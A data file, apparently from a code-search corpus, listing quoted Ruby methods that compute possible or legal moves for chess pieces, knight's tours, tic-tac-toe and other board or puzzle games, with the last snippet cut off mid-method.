"def get_diagonal_moves\n northwest_moves = []\n northeast_moves = []\n southwest_moves = []\n southeast_moves = []\n (1...ChessBoardConstants::BOARD_DIMENSIONS).each do |step|\n northwest_moves << { row: @row + step, col: @col - step }\n northeast_moves << { row: @row + step, col: @col + step }\n southwest_moves << { row: @row - step, col: @col - step }\n southeast_moves << { row: @row - step, col: @col + step }\n end\n return select_legal_moves(northwest_moves) +\n select_legal_moves(northeast_moves) +\n select_legal_moves(southwest_moves) +\n select_legal_moves(southeast_moves)\n end",
"def moves\n pos = self.current_position\n moves = []\n move_dirs.each do |arr|\n @current_position = pos\n loop do\n @current_position = [@current_position[0] + arr[0], @current_position[1] + arr[1]]\n break if [@current_position[0], @current_position[1]].any? { |val| val < 0 || val > 7 }\n if board.pos_occupied?(@current_position)\n if @board[@current_position].color == self.color\n break\n else\n moves << @current_position\n break\n end\n moves << @current_position\n end\n moves << @current_position\n end\n end\n moves\n end",
"def get_poss_moves\n x = @location[0] #x is row\n y = @location[1] #y is column\n\n move_list = [] #quarter circle forward punch\n\n if @colour == \"white\"\n move_list = white_pawn_moves(x,y)\n else\n move_list = black_pawn_moves(x,y)\n end\n\n possible_moves = move_list.select { |e|\n (e[0] >= 0) && (e[0] <= 7) && (e[1] >= 0) && (e[1] <= 7)\n }\n possible_moves\n end",
"def generate_moves\n @delta.each do |step|\n (1..7).each do |i|\n new_pos = [@pos[0] + step[0] * i, @pos[1] + step[1] * i]\n if valid_coord?(new_pos)\n @move_list << new_pos\n break if @board[new_pos]\n else\n break\n end\n end\n end\n end",
"def possible_moves(pos, board)\n moves = @moves.reduce([]) { |all_moves, move| all_moves.push(move.valid_moves(pos, board, @owner)) }\n moves.flatten(1)\n end",
"def get_moves(piece, board)\n valid_col = case piece.name\n when ?A then 3\n when ?B then 5\n when ?C then 7\n when ?D then 9\n else 11\n end\n moves = []\n\n # If in hallway\n if piece.row == 1\n cols = valid_col < piece.col ? (valid_col...piece.col).to_a : (piece.col+1..valid_col).to_a\n if cols.count{|c| board[[1, c]] == ?.} == cols.length\n if board[[2, valid_col]] == ?.\n if board[[3, valid_col]] == ?.\n moves << [[3, valid_col], (cols.count + 2) * piece.cost]\n elsif board[[3, valid_col]] == piece.name\n moves << [[2, valid_col], (cols.count + 1) * piece.cost]\n end\n end\n end\n # If not in its column (can never stand in hallway anf column at same time)\n elsif (piece.col == valid_col && piece.row == 2 && board[[piece.row + 1, piece.col]] != piece.name) || (piece.col != valid_col && piece.row == 2)\n 2.times do |t|\n dir = t == 0 ? -1 : 1\n curr = piece.col\n steps = 1\n while board[[1, curr]] == ?.\n moves << [[1, curr], steps * piece.cost] if ![3, 5, 7, 9].include?(curr)\n steps += 1\n curr += dir\n end\n end\n elsif piece.row == 3 && piece.col != valid_col && board[[2, piece.col]] == ?.\n 2.times do |t|\n dir = t == 0 ? -1 : 1\n curr = piece.col\n steps = 2\n while board[[1, curr]] == ?.\n moves << [[1, curr], steps * piece.cost] if ![3, 5, 7, 9].include?(curr)\n steps += 1\n curr += dir\n end\n end\n end\n moves\nend",
"def possible_moves(location)\n # something that returns legal_destinations, minus blocked paths\n # print \"legal dest are: #{legal_destinations(location)}\\n\"\n possible_moves = legal_destinations(location).select do |legal_move|\n # print \"current legal move is #{legal_move}\\n\"\n legal_move_obj = @board[legal_move]\n no_piece_in_the_way?(location, legal_move) &&\n (legal_move_obj == nil || legal_move_obj.color != self.color) &&\n legal_move.all? { |coord| coord >= 0 && coord <= 8 }\n end\n\n possible_moves\n end",
"def getPossibleMoves(move)\n board = move.board\n possibleMoves = []\n if move.from.nil?\n possibleFrom = getPossibleFrom(move)\n possibleFrom.each do |from|\n possibleMove = Move.new(board, move.board.getSquare(from).occupancy, move.to, from)\n possibleMoves << possibleMove\n end\n else\n # Make sure the piece trying to be moved exists\n if(board.getSquare(move.from).occupied? &&\n board.getSquare(move.from).occupancy.class == move.piece.class &&\n board.getSquare(move.from).occupancy.colour == move.piece.colour)\n move.piece = move.board.getSquare(move.from).occupancy\n possibleMoves << move\n end\n end\n possibleMoves\n end",
"def all_valid_moves(location, moves)\n moves.select do |move|\n valid_move?(location[0], location[1], move[0], move[1])\n end\n end",
"def possibleMoves(arr,visited)\n moves = []\n VALID_MOVES.each do |x,y|\n if valid?([arr[0]+x,arr[1]+y],visited)\n moves.push([arr[0]+x,arr[1]+y])\n end\n end\n return moves\n end",
"def possible_knight_moves(start_arr)\n\t\tx = start_arr[0]\n\t\ty = start_arr[1]\n\t\tcandidates = []\n\t\tcandidates << [x+1,y+2]\n\t\tcandidates << [x+1,y-2]\n\t\tcandidates << [x-1,y+2]\n\t\tcandidates << [x-1,y-2]\n\t\tcandidates << [x+2,y+1]\n\t\tcandidates << [x+2,y-1]\n\t\tcandidates << [x-2,y+1]\n\t\tcandidates << [x-2,y+1]\n\t\tchildren = candidates.select { |pos| pos[0] >= 0 && pos[1] >= 0 && pos[0] <= 7 && pos[1] <= 7}\n\t\tchildren.delete_if do |child|\n\t\t\tif !(@board[child] == \"*\")\n\t\t\t\tif @board[child].color == @board[start_arr].color\n\t\t\t\t\ttrue\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tchildren\n\tend",
"def moves\n moves = []\n\n x, y = self.position\n sign = self.color == :white ? 1 : -1\n init_row = self.color == :white ? 1 : 6\n\n one_up = [x + (1 * sign), y]\n two_up = [x + (2 * sign), y]\n\n moves << one_up if self.board[one_up].nil?\n\n if (self.board[one_up].nil? && self.board[two_up].nil? && self.position.first == init_row)\n moves << two_up\n end\n\n diag_left = [x + (1 * sign), y + 1]\n diag_right = [x + (1 * sign), y - 1]\n\n if self.board[diag_left] && self.board[diag_left].color != self.color\n moves << diag_left\n end\n\n if self.board[diag_right] && self.board[diag_right].color != self.color\n moves << diag_right\n end\n\n moves.select { |move| on_board?(move) }\n end",
"def legal(coords)\n offsets = [ [1, 2], [-1, 2], [1, -2], [-1, -2], [2, 1], [-2, 1], [2, -1], [-2, -1] ]\n moves = []\n offsets.each do |offset|\n move = [@row+offset[0], @column+offset[1]]\n moves << move\n end\n #loop through possible moves\n moves.each do |move|\n #if chosen coords = moves array coords check if occupied\n if coords === move\n return occupied?(coords)\n end\n end\n return false \n end",
"def available_moves\n adjacent_tiles(*@hole)\n end",
"def possible_moves(x, y, dx, dy)\n return [[x - 1, y], [x, y + 1], [x, y - 1]] if dx > 0\n return [[x + 1, y], [x, y + 1], [x, y - 1]] if dx < 0\n return [[x + 1, y], [x, y + 1], [x - 1, y]] if dy > 0\n [[x + 1, y], [x, y - 1], [x - 1, y]]\n end",
"def available_moves(position = player.position, all: false)\n [\n Point.new(position.x - 1, position.y),\n Point.new(position.x, position.y - 1),\n Point.new(position.x + 1, position.y),\n Point.new(position.x, position.y + 1),\n ].select { |point| all || is_legit_move?(point) }\n end",
"def moves\n\n #\n all_moves = sigma_deltas().map {|delta| transform(delta)}\n # all_moves.select { |move| board.on_board?(move)}\n end",
"def moves!\n total_possible_moves = []\n total_possible_moves.concat(diag_moves(diag_initializer))\n total_possible_moves.concat(straight_moves(move_initializer))\n total_possible_moves.select { |move| self.valid_move?(move) }\n end",
"def possible_moves(from)\n\tpositions = []\n\tpair = { 1 => [2, -2], 2 => [1, -1] }\n row_change = [-2, -1, 1, 2]\n row_change.each do |change|\n \tpositions << add_positions(from, [change, pair[change.abs][0]])\n \tpositions << add_positions(from, [change, pair[change.abs][1]])\n end\n\tpositions\nend",
"def moves\n possible_moves = []\n\n move_dirs.each do |dir|\n possible_moves.concat(grow_unblocked_moves_in_dir(dir[0], dir[1])) \n end\n\n possible_moves \n end",
"def possible_moves(y_pos, x_pos, moves_list=[[y_pos,x_pos]])\n\t\t\n\t\treturn moves_list if moves_list.length > 64\n\n\t\tmove_square = y_pos+2, x_pos+1\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1]) \n\n\t\tmove_square = y_pos+2, x_pos-1\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1])\n\n\t\tmove_square = y_pos-2, x_pos+1\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1])\n\n\t\tmove_square = y_pos-2, x_pos-1\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1])\n\n\t\tmove_square = y_pos+1, x_pos+2\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1])\n\n\t\tmove_square = y_pos+1, x_pos-2\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1])\n\n\t\tmove_square = y_pos-1, x_pos+2\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1])\n\n\t\tmove_square = y_pos-1, x_pos-2\n\t\tmoves_list << move_square if check_legal_move(move_square[0],move_square[1])\n\n\t\tmoves_list.each { |move| possible_moves(move[0], move[1], moves_list) }\n\t\treturn moves_list\n\tend",
"def moves\n moves = []\n\n # call move_dirs and generate moves\n move_dirs.each do |x,y|\n moves += valid_positions(x,y)\n end\n moves\n end",
"def listLegalMoveAll\n result = [] ;\n for x in 0..3\n for y in 0..3\n from = Pos.new(x,y) ;\n r = self.listLegalMoveFrom(from) ;\n r.shift ;\n result += r ;\n end\n end\n return result ;\n end",
"def possible_moves(starting_position, actual_piece, turn = @turn, board = @board)\n row = starting_position[0]\n column = starting_position[1]\n potential_moves = []\n\n active_pieces = []\n enemy_pieces = []\n\n if turn == 1\n active_pieces = @w_pieces\n enemy_pieces = @b_pieces\n else\n active_pieces = @b_pieces\n enemy_pieces = @w_pieces\n end\n\n # moves available for white pawns\n if actual_piece == $w_pawn\n # if the white pawn is in its original spot, then it can move two spots or one spot\n return if row == 7\n\n if row == 1\n potential_moves << [row+1, column] if board[row+1][column] == ' '\n potential_moves << [row+2, column] if board[row+2][column] == ' '\n else\n potential_moves << [row+1, column] if board[row+1][column] == ' '\n end\n\n # can take black pieces, but only if they are available diagonally\n potential_moves << [row+1, column+1] if @b_pieces.include?(board[row+1][column+1])\n potential_moves << [row+1, column-1] if @b_pieces.include?(board[row+1][column-1])\n\n # can take black pawns under special en-passant rule\n if @en_passant_piece != []\n passant_row = invert_position_converter(@en_passant_piece)[0]\n passant_col = invert_position_converter(@en_passant_piece)[1]\n if passant_row == row && (passant_col == column + 1 || passant_col == column - 1)\n # it must be empty in order for us to do en-passant (otherwise the pawn can just take)\n if @board[passant_row+1][passant_col] = ' '\n potential_moves << [passant_row+1, passant_col]\n end\n end\n end\n end \n\n # moves available for black pawns\n if actual_piece == $b_pawn\n # if the black pawn is in its original spot, then it can move two spots or one spot\n return if row == 0\n\n if row == 6\n potential_moves << [row-1, column] if board[row-1][column] == ' '\n potential_moves << [row-2, column] if board[row-2][column] == ' '\n else\n potential_moves << [row-1, column] if board[row-1][column] == ' '\n end\n\n # can take white pieces\n potential_moves << [row-1, column+1] if @b_pieces.include?(board[row-1][column+1])\n potential_moves << [row-1, column-1] if @b_pieces.include?(board[row-1][column-1])\n\n # can take white pawns under special en-passant rule\n\n if @en_passant_piece != []\n passant_row = invert_position_converter(@en_passant_piece)[0]\n passant_col = invert_position_converter(@en_passant_piece)[1]\n if passant_row == row && (passant_col == column + 1 || passant_col == column - 1)\n if @board[passant_row-1][passant_col] = ' '\n potential_moves << [passant_row-1, passant_col]\n end\n end\n end\n end\n\n # moves available for rooks\n if actual_piece == $w_rook || actual_piece == $b_rook\n\n i_row = row\n i_col = column\n\n # returns all potential moves north of the starting position\n until i_row+1 == 8 || active_pieces.include?(board[i_row+1][i_col])\n if enemy_pieces.include?(board[i_row+1][i_col])\n potential_moves << [i_row+1,i_col]\n break\n else\n potential_moves << [i_row+1,i_col]\n end\n i_row += 1\n end\n \n i_row = row\n i_col = column \n\n # returns all potential moves south of the starting position\n until active_pieces.include?(board[i_row-1][i_col]) || i_row-1 == -1\n if enemy_pieces.include?(board[i_row-1][i_col])\n potential_moves << [i_row-1,i_col]\n break\n else\n potential_moves << [i_row-1,i_col]\n end\n i_row -= 1\n end\n\n i_row = row\n i_col = column\n \n\n # returns all potential moves right of the starting position\n until active_pieces.include?(board[i_row][i_col+1]) || i_col+1 == 8\n if enemy_pieces.include?(board[i_row][i_col+1])\n potential_moves << [i_row,i_col+1]\n break\n else\n potential_moves << [i_row,i_col+1]\n end\n i_col += 1\n end\n\n i_row = row\n i_col = column\n \n # returns all potential moves left of the starting position\n until active_pieces.include?(board[i_row][i_col-1]) || i_col-1 == -1\n if enemy_pieces.include?(board[i_row][i_col-1])\n potential_moves << [i_row,i_col-1]\n break\n else\n potential_moves << [i_row,i_col-1]\n end\n i_col -= 1\n end\n\n i_row = row\n i_col = column\n\n end\n\n # moves available for knights\n if actual_piece == $w_knig || actual_piece == $b_knig\n\n # returns all potential moves\n potential_moves << [row+2, column+1]\n potential_moves << [row+1, column+2]\n potential_moves << [row-1, column+2]\n potential_moves << [row-2, column+1]\n potential_moves << [row-2, column-1]\n potential_moves << [row-1, column-2]\n potential_moves << [row+1, column-2]\n potential_moves << [row+2, column-1]\n\n end\n\n # moves available for bishops\n if actual_piece == $w_bish || actual_piece == $b_bish\n\n i_row = row\n i_col = column\n\n # returns all potential moving north-east of the starting position\n\n until i_row+1 == 8 || i_col+1 == 8 || active_pieces.include?(board[i_row+1][i_col+1])\n if enemy_pieces.include?(board[i_row+1][i_col+1])\n potential_moves << [i_row+1,i_col+1]\n break\n else\n potential_moves << [i_row+1,i_col+1]\n end\n i_row += 1\n i_col += 1\n end\n \n i_row = row\n i_col = column \n\n # returns all potential moving south-east of the starting position\n until i_row-1 == -1 || i_col+1 ==8 || active_pieces.include?(board[i_row-1][i_col+1])\n if enemy_pieces.include?(board[i_row-1][i_col+1])\n potential_moves << [i_row-1,i_col+1]\n break\n else\n potential_moves << [i_row-1,i_col+1]\n end\n i_row -= 1\n i_col += 1\n end\n \n i_row = row\n i_col = column \n\n # returns all potential moving south-west of the starting position\n until i_row-1 == -1 || i_col-1 == -1 || active_pieces.include?(board[i_row-1][i_col-1])\n if enemy_pieces.include?(board[i_row-1][i_col-1])\n potential_moves << [i_row-1,i_col-1]\n break\n else\n potential_moves << [i_row-1,i_col-1]\n end\n i_row -= 1\n i_col -= 1\n end\n \n i_row = row\n i_col = column \n \n # returns all potential moving north-east of the starting position\n until i_row+1 == 8 || i_col-1 == -1 || active_pieces.include?(board[i_row+1][i_col-1])\n if enemy_pieces.include?(board[i_row+1][i_col-1])\n potential_moves << [i_row+1,i_col-1]\n break\n else\n potential_moves << [i_row+1,i_col-1]\n end\n i_row += 1\n i_col -= 1\n end\n \n i_row = row\n i_col = column \n\n end\n\n # moves available for queens\n if actual_piece == $w_quee || actual_piece == $b_quee\n if actual_piece == $w_quee\n potential_moves.concat(possible_moves(starting_position, $w_rook, turn = 1))\n potential_moves.concat(possible_moves(starting_position, $w_bish, turn = 1))\n end\n if actual_piece == $b_quee\n potential_moves.concat(possible_moves(starting_position, $b_rook, turn = 2))\n potential_moves.concat(possible_moves(starting_position, $b_bish, turn = 2))\n end\n end\n\n # moves available for kings\n if actual_piece == $w_king || actual_piece == $b_king\n i_row = row\n i_col = column\n\n potential_moves << [i_row+1, i_col]\n potential_moves << [i_row+1, i_col+1]\n potential_moves << [i_row, i_col+1]\n potential_moves << [i_row-1, i_col-1]\n potential_moves << [i_row-1, i_col]\n potential_moves << [i_row-1, i_col+1]\n potential_moves << [i_row, i_col-1]\n potential_moves << [i_row+1, i_col-1]\n\n # castling conditions\n # The king does not move over a square that is attacked by an enemy piece during the castling move, i.e., when castling, there may not be an enemy piece that can move (in case of pawns: by diagonal movement) to a square that is moved over by the king.\n\n # The king cannot be in check if they are trying to castle\n if !@check_condition\n if actual_piece == $w_king\n # checks for left rook potential\n if board[0][1] == ' ' && board[0][2] == ' ' && board[0][3] == ' '\n binding.pry\n if @w_king_move == \"not moved\" && @w_rook_left == \"not moved\"\n if !enemy_positions.include?([0, 3])\n potential_moves << [0, 2]\n end\n end\n #checks for right rook potential\n elsif board[0][5] == ' ' && board[0][6] == ' '\n if @w_king_move == \"not moved\" && @w_rook_right == \"not moved\"\n if !enemy_positions.include?([0, 5])\n potential_moves << [0, 6]\n end\n end\n end\n end\n if actual_piece == $b_king\n # checks for left rook potential\n if board[7][1] == ' ' && board[7][2] == ' ' && board[7][3] == ' '\n if @b_king_move == \"not moved\" && @b_rook_left == \"not moved\"\n if !enemy_positions.include?([7, 3])\n potential_moves << [7, 2]\n end \n end\n #checks for right rook potential\n elsif board[7][5] == ' ' && board[7][6] == ' '\n if @b_king_move == \"not moved\" && @b_rook_right == \"not moved\"\n if !enemy_positions.include?([7, 5])\n potential_moves << [7, 6] \n end\n end\n end\n end\n end\n\n end\n\n potential_moves = potential_moves.select { |pos| valid_move?(pos, turn)}\n\n potential_moves\n\n end",
"def get_all_moves(node)\n\t\tx, y, current_depth = node.x, node.y, node.depth\n\t\tverified_moves = []\n\t\tall_moves = all_moves_array(x,y)\n\t\tall_moves.each {|move| verified_moves << Square.new(move[0], move[1], current_depth+1, node) if on_board?(move)}\n\t\tverified_moves\n\tend",
"def possible_moves(from)\r\n\tpositions = []\r\n\tpair = { 1 => [2, -2], 2 => [1, -1] }\r\n row_change = [-2, -1, 1, 2]\r\n row_change.each do |change|\r\n \tpositions << add_positions(from, [change, pair[change.abs][0]])\r\n \tpositions << add_positions(from, [change, pair[change.abs][1]])\r\n end\r\n\tpositions\r\nend",
"def get_valid_moves\n possible_moves.select do |dir, moves| \n moves.select! { |mov| check_bounds(mov[0], mov[1]) }\n !moves.empty? && move_directions.include?(dir)\n end\n end",
"def possible_moves\n return []\n end",
"def possible_moves\n # p possible_non_attack_moves\n # p possible_attack_moves\n moves = possible_non_attack_moves + possible_attack_moves\n moves.reject! { |move| move.any? { |c| c < 0 || c > 7} }\n moves\n end",
"def available_moves\n @available_moves = []\n first_row = [35, 36, 37, 38, 39, 40, 41]\n first_row.each do |position|\n until UI.game.board.cells[position].empty? || position < 0\n position -= 7\n end\n @available_moves << position unless position < 0\n end\n return @available_moves\n end",
"def castling_moves(pos, board)\n return [] if @owner.check || pos[1] != 4 || !@owner.can_castle\n\n home_rank = (0..7).map { |index| board.locate_piece([pos[0], index]) }\n [castle_queenside(home_rank[0..3], pos, board), castle_kingside(home_rank[5..7], pos, board)].compact\n end",
"def calculate_future_moves(coord)\n possible_transitions = [[2, 1], [2, -1], [1, 2], [-1, 2], \n [-2, 1], [-2, -1], [-1, -2], [1, -2]]\n actual_transitions = []\n possible_transitions.each do |transition|\n new_position = [coord[0]+transition[0], coord[1]+transition[1]]\n if valid_coordinate?(new_position) && !@visited.include?(new_position)\n actual_transitions << new_position\n end\n end\n actual_transitions\n end",
"def valid_moves(from)\n piece = @board.at(from)\n if piece.king? || piece.knight?\n piece.moves.map do |move|\n to = relative_coords(from, move)\n to if possible_move?(to)\n end.compact\n elsif piece.pawn?\n pawn_valid_moves(from)\n else\n valid_moves_recursive(from)\n end\n end",
"def find_available_moves(board)\n board.cells.each_with_index.collect {|v,i| i if v == \" \"}.compact\n end",
"def neighbor_possibilities(coords_of_neighborhood)\n coords_of_neighborhood.map do |coords|\n filled_in_board.cell_possibilities(*coords)\n end.compact\n end",
"def moves\n res = []\n move_dirs.each do |pos| # [0, 1]\n dx, dy = pos # 0, 1\n temp = grow_unblocked_moves_in_dir(dx, dy) # 0, 1 => [[0, 1], [0, 2], [0, 3], [0, 4], [0, 5], [0, 6]]\n res += temp \n end\n res \n\n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n\n # return the final array of moves (containing all possible moves in all directions)\n end",
"def all_possible_moves(pieces)\n\t\tpossible_moves = []\n\t\tpieces.each do |piece|\n\t\t\tif piece[0].type == 'pawn'\n\t\t\t\tpossible_moves << possible_pawn_moves(piece[1])\n\t\t\telsif piece[0].type == 'rook'\n\t\t\t\tpossible_moves << possible_rook_moves(piece[1])\n\t\t\telsif piece[0].type == 'bishop'\n\t\t\t\tpossible_moves << possible_bishop_moves(piece[1])\t\t\t\t\n\t\t\telsif piece[0].type == 'knight'\n\t\t\t\tpossible_moves << possible_knight_moves(piece[1])\t\t\n\t\t\telsif piece[0].type == 'queen'\n\t\t\t\tpossible_moves << possible_queen_moves(piece[1])\t\t\n\t\t\telse \n\t\t\t\tpossible_moves << possible_king_moves(piece[1])\n\t\t\tend\t\t\t\t\t\t\n\t\tend\n\t\tpossible_moves =possible_moves.flatten(1).uniq.sort\n\tend",
"def moves\r\n # pos = [0,0]\r\n # row, col = pos\r\n all_h = []\r\n all_d = []\r\n HORIZONTAL_DIRS.each do |h_pos|\r\n h_row, h_col = h_pos\r\n all_h += grow_unblocked_moves_in_dir(h_row, h_col) #returns all moves in h_pos\r\n end\r\n DIAGONAL_DIRS.each do |d_pos|\r\n h_row, h_col = d_pos\r\n all_d += grow_unblocked_moves_in_dir(h_row, h_col) #returns all moves in d_pos\r\n end\r\n if self.class == Queen\r\n return all_h + all_d\r\n elsif self.class == Bishop\r\n return all_d\r\n elsif self.class == Rook\r\n return all_h\r\n end\r\n end",
"def moves\n # create array to collect moves\n possible_moves = []\n move_dirs.each do |dir|\n possible_moves += grow_unblocked_moves_in_dir(dir[0],dir[1])\n end\n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n\n # return the final array of moves (containing all possible moves in all directions)\n possible_moves\n end",
"def get_moves_2(piece, board)\n valid_col = case piece.name\n when ?A then 3\n when ?B then 5\n when ?C then 7\n when ?D then 9\n else 11\n end\n moves = []\n\n # If in hallway\n if piece.row == 1\n cols = valid_col < piece.col ? (valid_col...piece.col).to_a : (piece.col+1..valid_col).to_a\n if cols.count{|c| board[[1, c]] == ?.} == cols.length\n if board[[2, valid_col]] == ?. && board[[3, valid_col]] == piece.name && board[[4, valid_col]] == piece.name && board[[5, valid_col]] == piece.name\n moves << [[2, valid_col], (cols.count + 1) * piece.cost]\n elsif board[[2, valid_col]] == ?. && board[[3, valid_col]] == ?. && board[[4, valid_col]] == piece.name && board[[5, valid_col]] == piece.name\n moves << [[3, valid_col], (cols.count + 2) * piece.cost]\n elsif board[[2, valid_col]] == ?. && board[[3, valid_col]] == ?. && board[[4, valid_col]] == ?. && board[[5, valid_col]] == piece.name\n moves << [[4, valid_col], (cols.count + 3) * piece.cost]\n elsif board[[2, valid_col]] == ?. && board[[3, valid_col]] == ?. && board[[4, valid_col]] == ?. && board[[5, valid_col]] == ?.\n moves << [[5, valid_col], (cols.count + 4) * piece.cost]\n end\n end\n # If right column and something is underneath and nothing above\n # If in wrong column completely and nothing above\n elsif piece.row >= 2\n below = (piece.row+1..5).to_a\n above = (2..piece.row-1).to_a\n if ((piece.col == valid_col && below.count{|c| board[[c, piece.col]] != piece.name} != 0 && below.length != 0) || (piece.col != valid_col)) && (above.count{|c| board[[c, piece.col]] == ?.} == above.length)\n 2.times do |t|\n dir = t == 0 ? -1 : 1\n curr = piece.col\n steps = 1 + above.length\n while board[[1, curr]] == ?.\n moves << [[1, curr], steps * piece.cost] if ![3, 5, 7, 9].include?(curr)\n steps += 1\n curr += dir\n end\n end\n end\n end\n moves\nend",
"def forking_moves(board, key)\n forking_moves =[]\n\n (0..2).each do |y|\n (0..2).each do |x|\n if board[y][x] == :_\n mutated_board = Marshal.load(Marshal.dump(board))\n mutated_board[y][x] = key\n mutated_winning_moves = winning_moves(mutated_board, key).uniq\n if mutated_winning_moves.count > 1\n forking_moves << mutated_winning_moves\n end\n end\n end\n end\n\n forking_moves.flatten\n \n end",
"def possible_moves\n\t\t@board.map.with_index { |piece, idx| piece == \"-\" ? idx : nil }.compact\n\tend",
"def allowed_moves(from_cell, chessboard)\n map_chess_move_array(from_cell, allowed_cells(from_cell, chessboard))\n end",
"def select_legal_moves(moves)\n legal_moves = []\n moves.each do |move|\n description = describe_location(move[:row], move[:col])\n \n if [:blank_space, :enemy_piece].include? description\n legal_moves << move\n end\n\n break if description != :blank_space\n end\n return legal_moves\n end",
"def moves\n # create array to collect moves\n final_array = []\n\n\n\n pos = self.move_dirs\n\n pos.each do |optional_pos|\n\n end\n\n # Note do these logics for all the optional positions \n spec_dx = pos[0]\n spec_dy = pos[1]\n\n possible_movements = grow_unblocked_moves_in_dir(spec_dx, spec_dy)\n possible_movements\n # ending\n\n\n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n\n # return the final array of moves (containing all possible moves in all directions)\n end",
"def enum_moves\n @scratch = dup_maze(@maze)\n @locs.each_with_index do |loc, robot|\n @cost = 1\n leading_edge = [loc]\n loop do\n next_edge = []\n leading_edge.each do |x, y|\n next_edge.concat search_from(x, y, robot)\n end\n break if next_edge.empty?\n leading_edge = next_edge\n @cost += 1\n end\n end\n\n @moves\n end",
"def get_moves(pieces)\n\t\tarrPos = [] \n\t\tif team == 1\n\t\t\tarrPos << [@xCord, @yCord + 1] if square_is_open?(pieces, [@xCord, @yCord + 1])\n\t\t\tarrPos << [@xCord, @yCord + 2] if @yCord == 1 && square_is_open?(pieces, [@xCord, @yCord + 2])\n\t\telsif team == 2\n\t\t\tarrPos << [@xCord, @yCord - 1] if square_is_open?(pieces, [@xCord, @yCord - 1])\n\t\t\tarrPos << [@xCord, @yCord - 2] if @yCord == 6 && square_is_open?(pieces, [@xCord, @yCord - 2])\n\t\tend\n\t\tarrPos\n\tend",
"def moves\n # All pieces can stay in place\n [[0,0]]\n end",
"def valid_moves_recursive(from)\n piece = @board.at(from)\n piece.moves.inject([]) do |valid_moves, move|\n valid_moves.push(*repeated_move(from, move))\n end\n end",
"def moves\n valid_moves = []\n move_dirs.each do |dx,dy| \n valid_moves += grow_unblocked_moves_in_dir(dx,dy)\n end\n valid_moves\n end",
"def gen_knight_moves(color)\n moves = []\n \n # knights can't move to squares occupied by their own color\n # so determine where the knights comrades are\n if color == :white\n position = @position.white \n comrades = @position.white_pieces\n else\n position = @position.black\n comrades = @position.black_pieces\n end\n \n # no work to do when there are no knights\n return moves if position[:knight].nil?\n \n # for each knight \n position[:knight].set_bits.each do |from| \n # valid moves are all those squares attacked from the current\n # position that aren't occupied by comrades\n move_to = Move::Attacks[:knight][from] & ~comrades\n move_to.set_bits.each do |to| \n moves.push [Square.index(from), Square.index(to)]\n end\n end\n moves\n end",
"def generate_possible_moves(state)\n end",
"def valid_moves(temp_board)\n moves.select do |end_pos|\n temp_board.valid_pos?(end_pos) && temp_board.empty?(end_pos)\n end\n end",
"def possible_moves(pos)\n\tchanges = [[-2,-1],[-2,1],[-1,-2],[-1,2],[2,-1],[2,1],[1,-2],[1,2]]\n\tmoves = []\n\tchanges.each { |change| moves << [pos[0]+change[0], pos[1]+change[1]] }\n\tmoves.select { |move| is_valid_position?(move) }\nend",
"def player_moves(board)\n\t\tnew_hash_o = {} # Holds the winning combination positions the other player is occupying\n\t\tnew_hash_c = {} # Holds the winning combination positions the current player is occupying\n\t\tfinal_hash_o = {} # Holds the other player winning combination that need to be blocked on the next move\n\t\tfinal_hash_c = {} # Holds the move to be made for the current player winning combination\n\t\tWIN_COMBINATIONS.each do |k,v| # Check which of the other player's and current player's positions are part of a winning combination\n\t\t new_hash_o[k] = []\n\t\t new_hash_c[k] = []\n\t\t @other_player_positions.each do |t| # Check which of the other player's positions are part of a winning combination\n\t\t\t if v.include?(t)\n\t\t\t \tnew_hash_o[k] << t # If the position is part of a winning combination include it in the new hash\n\t\t \tend\n\t\t end\n\t\t @current_player_positions.each do |t| # Check which of the current player's positions are part of a winning combination\n\t\t\t if v.include?(t)\n\t\t\t \tnew_hash_c[k] << t # If the position is part of a winning combination include it in the new hash\n\t\t \tend\n\t\t end\n\t\tend\n\t\t@other_player_positions = [] # Clear the other player position results ready for the next turn\n\t\t@current_player_positions = [] # Clear the current player position results ready for the next turn\n\t\tnew_hash_o.each do |k,v| # Check whether the other player has one move to go on a winning combination\n\t\t\t# If there are two positions of a winning combination held by the other player include the combination in the final hash\n\t\t\tif new_hash_o[k].size > 1\n\t\t\t\tfinal_hash_o[k] = new_hash_o[k] # Final hash holds the vulnerable positions that need to be filled\n\t\t\tend\n\t\tend\n\t\tnew_hash_c.each do |k,v| # Check whether the current player has one move to go on a winning combination\n\t\t\t# If there are two positions of a winning combination held by the current player include the combination in the final hash\n\t\t\tif new_hash_c[k].size > 1\n\t\t\t\tfinal_hash_c[k] = new_hash_c[k] # Final hash holds the winning positions that need to be filled\n\t\t\tend\n\t\tend\n\t\t# Find the final position to move to block the other player's winning combination\n\t\t # Find the final position for current player to move to win\n\t\tWIN_COMBINATIONS.each do |k,v|\n\t\t\tif final_hash_o.include?(k)\n\t\t\t\t@move_o << WIN_COMBINATIONS[k] - final_hash_o[k]\n\t\t\t\tif !board.valid_move?(@move_o[0][0]) # Check whether the final position is a valid move\n\t\t\t\t\t@move_o.shift # If not a valid position remove the final move\n\t\t\t\tend\n\t\t\tend\n\t\t\tif final_hash_c.include?(k)\n\t\t\t\t@move_c << WIN_COMBINATIONS[k] - final_hash_c[k]\n\t\t\t\tif !board.valid_move?(@move_c[0][0]) # Check whether the final position is a valid move\n\t\t\t\t\t@move_c.shift # If not a valid position remove the final move from the array\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif !@move_o.empty? # Don't test and pass an empty array\n\t\t\t\t@move_o = @move_o.sample # Only one move can be made\n\t\t\t\t@move_o # Final move to block the other player's winning combination\n\t\tend\n\t\tif !@move_c.empty? # Don't test and pass an empty 